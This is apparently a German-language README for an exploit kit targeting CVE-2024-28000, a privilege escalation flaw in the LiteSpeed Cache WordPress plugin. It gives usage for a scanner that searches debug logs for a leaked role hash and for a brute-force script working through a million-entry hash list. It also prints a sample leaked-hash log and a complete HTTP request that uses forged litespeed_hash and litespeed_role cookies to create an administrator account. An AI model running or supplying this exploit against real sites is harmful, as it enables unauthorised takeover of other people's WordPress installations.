LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

• Dieses Skript erkennt zunächst die Version, prüft, ob es sich um eine anfällige Version handelt, und versucht dann, das Vorhandensein einer Logdatei zu bestätigen. Falls vorhanden, wird versucht, nach dem Senden eines Pakets die Logdatei erneut anzufragen, um nach einem Hash-Leak zu suchen. Wenn LiteSpeed Debug aktiviert hat, kann der korrekte Hash möglicherweise preisgegeben werden.

usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]

CVE-2024-28000 Scan

optional arguments:
  -h, --help            show this help message and exit
  -f F                  File list
  -t T                  Scan thread
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

• Beispiel:

09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS)  /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String: 
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role: 
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init

Wenn LiteSpeed Debug aktiviert hat, könnte ein ähnliches Log wie oben angezeigt werden, wobei pkHrfD der korrekte Hash ist.

CVE-2024-28000_Exploit.py

• Tests haben gezeigt, dass die von Python und PHP generierten Hashes unterschiedlich sind. Daher kann die Hash-Liste nicht mit Python simuliert werden. Die Datei Hash_list.txt enthält 1.000.000 von PHP generierte Hashes. Theoretisch kann man also maximal 1.000.000 Mal iterieren, um den korrekten Hash zu finden.

usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]

CVE-2024-28000

optional arguments:
  -h, --help            show this help message and exit
  -u U                  url
  -t T                  Scan thread
  -d D                  Dict list
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

• Der Parameter -d ist die Hash-Liste, -u die URL, -t die Anzahl der Threads. Es wird empfohlen, die Thread-Anzahl nicht zu hoch einzustellen.

Test

• Beim Testen in einer Testumgebung konnte der Hash erfolgreich durchlaufen werden, und nach fünffacher Neuinstallation wurde bestätigt, dass der Hash in der generierten Hash-Liste enthalten ist. Aus verschiedenen Gründen ist die Erfolgsrate bei tatsächlichen Angriffen jedoch gering.
• Nach erfolgreichem Finden des korrekten Hashs kann das folgende Paket verwendet werden, um einen Admin-Benutzer hinzuzufügen:

POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=korrekter_Hash; litespeed_role=1
Content-Length: 122
Content-Type: application/json

{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}